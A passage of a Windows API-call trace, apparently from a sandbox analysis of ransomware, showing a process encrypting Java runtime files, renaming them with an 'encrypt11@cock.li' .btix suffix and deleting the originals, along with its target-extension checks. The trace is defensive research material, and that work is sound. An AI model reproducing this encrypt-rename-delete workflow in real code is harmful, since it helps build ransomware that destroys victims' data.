4 [0133.373] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString=".xls") returned 4 [0133.373] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString=".xlsx") returned 5 [0133.373] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.373] lstrlenW (lpString=".ppt") returned 4 [0133.373] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".zip") returned 4 [0133.373] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString=".rar") returned 4 [0133.373] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString=".bz2") returned 4 [0133.373] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.373] lstrlenW (lpString=".7z") returned 3 [0133.373] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".dbf") returned 4 [0133.373] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.374] lstrlenW (lpString=".1cd") returned 4 [0133.374] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.374] lstrlenW (lpString=".jpg") returned 4 [0133.374] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.374] lstrcmpiW (lpString1=".template", lpString2=".btix") returned 1 [0133.374] lstrlenW (lpString="snmp.acl.template") returned 17 [0133.374] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.377] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3376) returned 1 [0133.377] CloseHandle (hObject=0x4dc) returned 1 [0133.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0133.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.377] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.377] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.399] GetLastError () returned 0x0 [0133.399] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xd30, lpOverlapped=0x0) returned 1 [0133.408] WriteFile (in: hFile=0x52c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xd40, lpOverlapped=0x0) returned 1 [0133.409] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.409] WriteFile (in: hFile=0x52c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0133.409] SetEndOfFile (hFile=0x52c) returned 1 [0133.409] CloseHandle (hObject=0x52c) returned 1 [0133.409] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.409] SetEndOfFile (hFile=0x4dc) returned 1 [0133.411] CloseHandle (hObject=0x4dc) returned 1 [0133.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.411] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0133.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.412] lstrlenW (lpString=".doc") returned 4 [0133.412] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0133.412] lstrlenW (lpString=".docx") returned 5 [0133.412] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0133.412] lstrlenW (lpString=".pdf") returned 4 [0133.412] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0133.412] lstrlenW (lpString=".xls") returned 4 [0133.412] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0133.412] lstrlenW (lpString=".xlsx") returned 5 [0133.412] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0133.412] lstrlenW (lpString=".ppt") returned 4 [0133.412] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0133.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.412] lstrlenW (lpString=".zip") returned 4 [0133.412] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".rar") returned 4 [0133.413] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".bz2") returned 4 [0133.413] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".7z") returned 3 [0133.413] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString=".dbf") returned 4 [0133.413] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString=".1cd") returned 4 [0133.413] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString=".jpg") returned 4 [0133.413] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString=".doc") returned 4 [0133.413] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".docx") returned 5 [0133.413] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0133.413] lstrlenW (lpString=".pdf") returned 4 [0133.413] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".xls") returned 4 [0133.413] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".xlsx") returned 5 [0133.413] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0133.413] lstrlenW (lpString=".ppt") returned 4 [0133.413] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0133.413] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.413] lstrlenW (lpString=".zip") returned 4 [0133.413] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".rar") returned 4 [0133.413] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0133.413] lstrlenW (lpString=".bz2") returned 4 [0133.413] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0133.414] lstrlenW (lpString=".7z") returned 3 [0133.414] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0133.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.414] lstrlenW (lpString=".dbf") returned 4 [0133.414] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0133.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.414] lstrlenW (lpString=".1cd") returned 4 [0133.414] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0133.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0133.414] lstrlenW (lpString=".jpg") returned 4 [0133.414] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0133.414] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.414] lstrlenW (lpString="management-agent.jar") returned 20 [0133.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.414] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=381) returned 1 [0133.414] CloseHandle (hObject=0x4dc) returned 1 [0133.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0133.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.415] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.415] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0133.415] GetLastError () returned 0x0 [0133.415] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x17d, lpOverlapped=0x0) returned 1 [0133.416] WriteFile (in: hFile=0x52c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x180, lpOverlapped=0x0) returned 1 [0133.417] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.417] WriteFile (in: hFile=0x52c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfc, lpOverlapped=0x0) returned 1 [0133.445] SetEndOfFile (hFile=0x52c) returned 1 [0133.445] CloseHandle (hObject=0x52c) returned 1 [0133.445] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.445] SetEndOfFile (hFile=0x4dc) returned 1 [0133.465] CloseHandle (hObject=0x4dc) returned 1 [0133.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.465] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0133.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.466] lstrlenW (lpString=".doc") returned 4 [0133.466] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.466] lstrlenW (lpString=".docx") returned 5 [0133.466] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.466] lstrlenW (lpString=".pdf") returned 4 [0133.466] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.466] lstrlenW (lpString=".xls") returned 4 [0133.466] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.466] lstrlenW (lpString=".xlsx") returned 5 [0133.466] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.466] lstrlenW (lpString=".ppt") returned 4 [0133.466] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.466] lstrlenW (lpString=".zip") returned 4 [0133.466] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.466] lstrlenW (lpString=".rar") returned 4 [0133.466] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.466] lstrlenW (lpString=".bz2") returned 4 [0133.466] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.466] lstrlenW (lpString=".7z") returned 3 [0133.466] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.466] lstrlenW (lpString=".dbf") returned 4 [0133.466] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".1cd") returned 4 [0133.467] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".jpg") returned 4 [0133.467] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".doc") returned 4 [0133.467] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.467] lstrlenW (lpString=".docx") returned 5 [0133.467] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.467] lstrlenW (lpString=".pdf") returned 4 [0133.467] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString=".xls") returned 4 [0133.467] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString=".xlsx") returned 5 [0133.467] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.467] lstrlenW (lpString=".ppt") returned 4 [0133.467] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".zip") returned 4 [0133.467] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString=".rar") returned 4 [0133.467] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.467] lstrlenW (lpString=".bz2") returned 4 [0133.467] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.467] lstrlenW (lpString=".7z") returned 3 [0133.467] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".dbf") returned 4 [0133.467] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".1cd") returned 4 [0133.467] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.467] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0133.467] lstrlenW (lpString=".jpg") returned 4 [0133.468] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.468] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".btix") returned -1 [0133.468] lstrlenW (lpString="meta-index") returned 10 [0133.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.468] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2126) returned 1 [0133.468] CloseHandle (hObject=0x4dc) returned 1 [0133.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0133.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.469] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.469] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0133.469] GetLastError () returned 0x0 [0133.469] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x84e, lpOverlapped=0x0) returned 1 [0133.471] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x850, lpOverlapped=0x0) returned 1 [0133.471] ReadFile (in: hFile=0x4dc, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.472] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0133.472] SetEndOfFile (hFile=0x534) returned 1 [0133.472] CloseHandle (hObject=0x534) returned 1 [0133.472] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.472] SetEndOfFile (hFile=0x4dc) returned 1 [0133.474] CloseHandle (hObject=0x4dc) returned 1 [0133.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.475] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0133.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.475] lstrlenW (lpString=".doc") returned 4 [0133.475] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0133.475] lstrlenW (lpString=".docx") returned 5 [0133.475] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0133.475] lstrlenW (lpString=".pdf") returned 4 [0133.475] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0133.475] lstrlenW (lpString=".xls") returned 4 [0133.475] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0133.475] lstrlenW (lpString=".xlsx") returned 5 [0133.475] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0133.476] lstrlenW (lpString=".ppt") returned 4 [0133.476] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString=".zip") returned 4 [0133.476] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".rar") returned 4 [0133.476] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".bz2") returned 4 [0133.476] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".7z") returned 3 [0133.476] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString=".dbf") returned 4 [0133.476] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString=".1cd") returned 4 [0133.476] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString=".jpg") returned 4 [0133.476] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.476] lstrlenW (lpString=".doc") returned 4 [0133.476] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".docx") returned 5 [0133.476] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0133.476] lstrlenW (lpString=".pdf") returned 4 [0133.476] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".xls") returned 4 [0133.476] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString=".xlsx") returned 5 [0133.476] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0133.476] lstrlenW (lpString=".ppt") returned 4 [0133.476] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.477] lstrlenW (lpString=".zip") returned 4 [0133.477] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0133.477] lstrlenW (lpString=".rar") returned 4 [0133.477] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0133.477] lstrlenW (lpString=".bz2") returned 4 [0133.477] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0133.477] lstrlenW (lpString=".7z") returned 3 [0133.477] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.477] lstrlenW (lpString=".dbf") returned 4 [0133.477] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.477] lstrlenW (lpString=".1cd") returned 4 [0133.477] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0133.477] lstrlenW (lpString=".jpg") returned 4 [0133.477] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0133.477] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0133.477] lstrlenW (lpString="net.properties") returned 14 [0133.477] CreateFileW 